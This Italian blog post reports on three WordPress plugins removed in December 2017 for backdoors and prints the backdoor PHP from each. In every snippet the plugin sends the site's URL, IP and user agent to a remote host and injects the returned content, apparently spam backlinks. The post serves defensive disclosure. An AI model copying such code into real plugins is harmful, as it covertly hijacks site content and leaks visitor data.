Nelle ultime due settimane di dicembre 2017, il repository ufficiale di WordPress.org, ha eliminato/chiuso tre plugin perché contenevano backdoor per l'”iniezione” di contenuti non voluti nei siti web WordPress.
A darne notizia è l’azienda Wordfence che ha rilasciato anche alcune informazioni sulle backdoor utilizzate da questi plugin incriminati.
Per “chiusura” di un plugin si intende la rimozione del download dal repository ufficiale e la totale eliminazione nei risultati di ricerca di WordPress.org.
Il tutto per prevenire che gli utenti possano installare questi plugin, con all’interno codice malevolo, nei propri progetti.
Ma quali sono questi plugin?
I tre plugin incriminati
-
- Duplicate Page and Post
URL: https://wordpress.org/plugins/duplicate-page-and-post/
Installazioni attive: più di 50,000
Attuale proprietario: pluginsforwp
Data di vendita: August 2017
Data di rimozione da WordPress.org: 14 dicembre 2017
- Duplicate Page and Post
-
- No Follow All External Links
URL: https://wordpress.org/plugins/nofollow-all-external-links/
Installazioni attive: più di 9,000
Attuale proprietario: gearpressstudio
Data di vendita: April 2017
Data di rimozione da WordPress.org: 19 dicembre 2017
- No Follow All External Links
-
- WP No External Links
URL: https://wordpress.org/plugins/wp-noexternallinks/
Installazioni attive: più di 30,000
Attuale proprietario: steamerdevelopment
Data di vendita: July 12, 2017
Data di rimozione da WordPress.org: 22 dicembre 2017
- WP No External Links
Cosa facevano di male?
Duplicate Page and Post
Questo plugin, dedicato alla duplicazione di pagine e articoli in WordPress, contiene una backdoor apparsa per la prima volta con la versione 2.1.0 del plugin:
</pre> $request_url = 'https://cloud-wp.org/api/v1/update?url=' . urlencode($url) . '&ip=' . urlencode($ip) . '&user_agent=' . urlencode($user_agent); $response = wp_remote_get($request_url, array('timeout' => 2)); $this->data = new stdClass(); $this->data->content = null; $this->data->confirm = null; $this->data->contact = null; if (!$response instanceof WP_Error && $response['body']) { $data = json_decode($response['body']); if (null !== $data) { $content_position = $data->version; if ('1' == $content_position) { $this->data->confirm = $data->data; if (!$output_buffer) { $this->data->content = $data->data; } } elseif ('2' == $content_position) { $this->data->content = $data->data; } else { $this->data->contact = $data->data; } } }
Più nello specifico, la backdoor inoltra una richiesta a cloud-wp.org e restituisce il contenuto in base all’URL e all’utente, passati nella stringa di query.
Questa backdoor viene eseguita su ogni richiesta del sito, quindi può essere utilizzata per inserire contenuti non voluti ai normali visitatori del sito, ai web crawler o agli stessi amministratori del sito web.
No Follow All External Links
Quest’altro plugin, dedicato alla dicitura “nofollow”, contiene una backdoor dalla versione 2.1.0:
</pre> if (self::$data['report'] && self::$advancedSettings['improvement'] = 1) { $requestUrl = 'https://cloud.wpserve.org/api/v1/update?&url=' . urlencode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . '&agent=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&ip=' . urlencode($_SERVER['SERVER_ADDR']); $response = wp_remote_get($requestUrl, ['timeout' => 2]); if (!$response instanceof WP_Error) { self::$data['response'] = json_decode($response['body']); } } add_filter('the_content', ['noFollowAllExternalLinks', 'interceptContent']); <pre>
Come per il plugin Duplicate Page e Post, questa backdoor inoltra una richiesta a cloud.wpserve.org e restituisce il contenuto in base all’URL e all’utente, passati nella stringa di query.
L’injection sembra essere associata ad un’impostazione nel plugin chiamata “Improvement scheme”, che è abilitata per impostazione predefinita.
Attenzione però perché, disabilitando l’impostazione non si disattiva la backdoor in quanto, il codice nell’istruzione if, sta impostando il valore invece di confrontarlo a 1.
Il codice verifica che l’utente corrisponda a un web crawler (come Googlebot), quindi sembra che questa backdoor sia utilizzata per inserire backlink, ovviamente non voluti, nella pagina.
WP No External Links
Anche in questo caso siamo davanti ad un plugin dedicato ai link, che presenta una backdoor dalla versione 4.2.1.
La backdoor è la seguente:
</pre> if ($this->data->report) { $request_url = 'https://wpconnect.org/api/v1/update?&url=' . urlencode($this->data->url) . '&ip=' . urlencode($this->data->ip) . '&user_agent=' . urlencode($this->data->user_agent); $response = wp_remote_get($request_url, array('timeout' => 2)); if (!$response instanceof WP_Error && $response['body']) { $data = json_decode($response['body']); $content_position = $data->version; if ('1' == $content_position) { $this->data->buffer = $data->data; if ('all' !== $this->options->mask_links) { $this->data->before = $data->data; } } elseif ('2' == $content_position) { $this->data->before = $data->data; } else { $this->data->after = $data->data; } } } <pre>
Allo stesso modo delle due backdoor all’interno dei due plugin precedenti, questa fa una richiesta a wpconnect.org e restituisce il contenuto in base all’URL e all’utente, passati nella stringa di query.
Il codice verifica che l’utente corrisponda a un crawler web, quindi di nuovo, sembra che questa backdoor sia utilizzata in ambito SEO, inserendo backlink indesiderati nella pagina.
Se andiamo ad analizzare il sito Wpconnect.org tra l’altro, possiamo notare che questo utilizza lo stesso IP di cloud-wp.org: 52.14.28.183, l’API utilizzata per il plugin Duplicate Page and Post: siamo davanti quindi ad un unico proprietario che ha creato appositamente questa backdoor.
Conclusione: cosa fare?
Se uno di questi tre plugin è stato installato su un vostro progetto, vi invitiamo a rimuoverlo (o rimuoverli) al più presto, assicurandovi che alcuni link non siano stati già inseriti nel vostro sito web WordPress.
Anche se questi plugin sono stati aggiornati per rimuovere le backdoor, essendo stati eliminati dal repository ufficiale WordPress, non verranno più aggiornati e supportati dalla community di WordPress.org.
Noi di FlameNetworks stiamo continuando a monitorare la situazione ma vi invitiamo ad essere molto cauti nell’installazione dei plugin. Questo perché, è vero che sono molto semplici da installare ed utilizzare, ma è altrettanto vero che si possono acquisire e modificare molto facilmente.
Se poi non avete un backup diretto del sito, iniziano i veri drammi e dolori…
Su un sito che gestisco c’è quel plugin, ma quale? Se uno gestisce decine e decine di siti…. Sarebbe stato buono avvisare con un bel pop up rosso appena entrati nel Backend di wordpress
Ciao, WordPress.org ha rimosso i plugin incriminati, più di fare questo non poteva credo.
Sarebbe impensabile che la community si prenda la briga di fare anche dei popup per ogni plugin bucato, modificando il codice di ognuno.
Bisogna sempre stare attenti ai plugin poco usati, poco aggiornati e poco supportati.